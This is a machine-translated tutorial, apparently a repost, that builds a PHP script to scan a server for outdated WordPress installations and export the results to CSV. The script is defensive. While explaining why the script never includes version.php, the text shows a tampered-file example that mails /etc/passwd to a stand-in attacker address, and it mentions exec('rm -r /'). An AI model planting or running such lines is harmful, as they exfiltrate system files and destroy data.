如何在服务器上找到过时的Wordpress版本,以减少被黑客攻击的风险

如何在您的服务器上找到过时的WordPress版本,以减少被黑客入侵的风险

今天我们想告诉你如何在服务器上找到过时的WordPress安装 。 这可能是高风险的,特别是对于共享托管服务器。 被大量使用的开源软件(如Wordpress)遭到攻击只是时间问题,一旦发现安全漏洞。

我们发布了这样的第二篇文章,其重点是过时的Joomla安装并使用了bash脚本。 这次我们将使用一个php脚本作为这个工作。

先决条件

您将需要安装php-cli才能使用该脚本。

让我们开始

起初我们问这个问题:如何从服务器上安装的文件中识别wordpress版本?

Wordpress将版本存储在名为version.php的文件中。 该文件位于文件夹wp-includes中

版本字符串是变量:
$ wp_version ='3.8.1';

接下来,我们在官方网站上查找最新版本的wordpress。 在撰写本文时,这是3.8.1

在您的服务器上查找Wordpress安装

WordPress包括安装中的一些文件夹,可以轻松识别这样的安装:
wp-contentwp-adminwp-includes

我们现在知道如何识别一个安装,我们可以在php中构造一个函数,该函数会循环遍历基本路径中的所有文件夹,并查找这些文件夹名称。

<?php
if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " 
  
    [
   
    ]\n");
// set the base path
define('BASE_PATH', $argv[1]);
// check that provided path exists
if(!is_dir(BASE_PATH)) {
	die(BASE_PATH . " is no valid path.\n");
}
function path_loop($path) {
	// make sure path ends with a slash
	if(substr($path, -1) !== '/') $path .= '/';
	
	// open dir
	$dir = opendir($path);
	if(!$dir) {
		print "[WARN] Could not access " . BASE_PATH . "\n";
		return false;
	}
	while($cur = readdir($dir)) {
		// we only want to read paths, not files
		if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue;
		if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') {
			// this seems to be a wordpress installation path
		}
		path_loop($path . $cur); // we dive into the dir even if we found wp here.
	}
	
	// free resource
	closedir($dir);
}
// start the loop process
path_loop(BASE_PATH);
?>

   
  

该脚本循环并找到Wordpress文件夹。 现在我们想将这些发现的安装存储在一个数组中,包括它的版本。
要获取版本,我们读取version.php文件:

<?php
// strippedscript content
// define array to store the wordpress installation paths
$wp_inst = array();
function path_loop($path) {
	global $wp_inst;
	
	// stripped function content
	
		// inside the loop:
		if($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') {
			// this seems to be a wordpress installation path
			// check for the version file now
			$versionfile = $path . 'wp-includes/version.php';
			if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file
			
			// we don't simply include the file for security reasons.
			// so store it in a variable
			$cont = file_get_contents($versionfile);
			
			// search for the version string
			$found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match);
			if(!$found) continue; // we found no version string in the file... strange.
			
			$wp_inst[$path] = $match[2];
			print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n";
		}
}
// stripped script content
?>

好的,现在为什么我们不要简单地做一个include $ versionfile并读取$ wp_version变量?
要运行脚本,您需要具有访问所有Web文件夹的权限,通常此脚本将以root / sudo方式运行。
想象一下,如果一个坏家伙用一个简单的包含这个的自定义代码替换wordpress version.php,会发生什么:

<?php mail('mybadguy@maildomain.com', 'Password file', file_get_contents('/etc/passwd')); ?>

当然这只是一个例子。 该文件可以包含甚至代码,如exec('rm -r /'); 等等,一旦finder脚本包含恶意的version.php,它将被执行。
所以要保持简单: 不要包含php文件,你不知道内容!

在我们对脚本进行扩展之后,它现在可以找到所有具有版本的Wordpress安装,并将它们存储在$ wp_inst数组中。
我们现在扩展脚本来比较最新的版本。 PHP为此提供了一个很好的功能: version_compare

<?php
// stripped content
define('LATEST_VERSION', '3.8.1');
// stripped content
// start the loop process
path_loop(BASE_PATH);
// some statistic variables
$current = 0;
$outdated = 0;
// loop through all found versions
foreach($wp_inst as $path => $version) {
	// is the found version lower than latest one?
	if(version_compare($version, LATEST_VERSION, '<')) {
		$outdated++;
		print '[WARN] outdated wordpress version ' . $version;
	} else {
		$current++;
		print '[OK] current wordpress version ' . $version;
	}
	print ' in ' . $path . "\n";
}
// print summary
print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n";
?>

我们到了。 该脚本打印所有找到的版本以及信息是否可以或过时。

[...]
[WARN] outdated wordpress version 3.3 in /var/www/clients/pathX/
[WARN] outdated wordpress version 3.4 in /var/www/clients/pathY/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathA/
[OK] current wordpress version 3.8.1 in /var/www/clients/pathB/

We found 114 wordpress installations, of which 85 are outdated and 29 are up to date.

最后的脚本

为了方便起见,我们将一个函数添加到将所有找到的安装写入CSV文件的脚本中。
你现在可以这样调用脚本:

php find_wordpress.php /var/www /my/path/versions.csv

完成后,您将在/my/path/versions.csv中找到一个CSV文件,内容如下:

/var/www/clients/path1/;3.6;3.8.1
/var/www/clients/path2/;3.8.1;3.8.1
/var/www/clients/path3/;3.8.1;3.8.1
/var/www/clients/path4/;3.0.1;3.8.1

这里是完整的脚本,您可以简单地保存为find_wordpress.php ,并像上述那样调用它。

<?php
/**
 * find outdated wordpress versions
 * (c) 2014 youcl.com (M. Cramer) <m.cramer@pixcept.de>
 */
define('LATEST_VERSION', '3.8.1');
if(!isset($argv[1])) die("Please start this program with " . $argv[0] . " <web pase bath> [<csv file>]\n");
// set the base path
define('BASE_PATH', $argv[1]);
define('OUTFILE', (isset($argv[2]) ? $argv[2] : false));
// check that provided path exists
if(!is_dir(BASE_PATH)) {
	die(BASE_PATH . " is no valid path.\n");
}
// define array to store the wordpress installation paths
$wp_inst = array();
/* main function to loop through paths recursively */
function path_loop($path) {
	global $wp_inst;
	
	// make sure path ends with a slash
	if(substr($path, -1) !== '/') $path .= '/';
	
	// open dir
	$dir = opendir($path);
	if(!$dir) {
		print "[WARN] Could not access " . BASE_PATH . "\n";
		return false;
	}
	// loop through everything this dir contains
	while($cur = readdir($dir)) {
		// we only want to read paths, not files
		if($cur === '.' || $cur === '..' || is_link($path . $cur) || !is_dir($path . $cur)) continue;
		
		if(($cur === 'wp-content' || $cur == 'wp-admin' || $cur == 'wp-includes') && array_key_exists($path, $wp_inst) == false) {
			// this seems to be a wordpress installation path
			// check for the version file now
			$versionfile = $path . 'wp-includes/version.php';
			if(!file_exists($versionfile) || !is_readable($versionfile)) continue; // cannot read the file
			
			// we don't simply include the file for security reasons.
			// so store it in a variable
			$cont = file_get_contents($versionfile);
			
			// search for the version string
			$found = preg_match('/\$wp_version\s*=\s*(["\'])([0-9\.]+)\\1;/', $cont, $match);
			if(!$found) continue; // we found no version string in the file... strange.
			
			$wp_inst[$path] = $match[2];
			print '[INFO] found wp version ' . $match[2] . ' in ' . $path . "\n";
		}
		
		path_loop($path . $cur); // we dive into the dir even if we found wp here.
	}
	
	// free resource
	closedir($dir);
}
// start the loop process
path_loop(BASE_PATH);
// some statistic variables
$current = 0;
$outdated = 0;
if(OUTFILE) $fp = fopen(OUTFILE, 'w');
// loop through all found versions
foreach($wp_inst as $path => $version) {
	// is the found version lower than latest one?
	if(version_compare($version, LATEST_VERSION, '<')) {
		$outdated++;
		print '[WARN] outdated wordpress version ' . $version;
	} else {
		$current++;
		print '[OK] current wordpress version ' . $version;
	}
	print ' in ' . $path . "\n";
	
	if(OUTFILE) fputcsv($fp, array($path, $version, LATEST_VERSION), ';', '"');
}
if(OUTFILE) fclose($fp);
// print summary
print "We found " . count($wp_inst) . " wordpress installations, of which " . $outdated . " are outdated and " . $current . " are up to date.\n";

?>

我们希望你“快乐过时的狩猎”!

赞(52) 打赏
未经允许不得转载:优客志 » 系统运维
分享到:

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

微信扫一扫打赏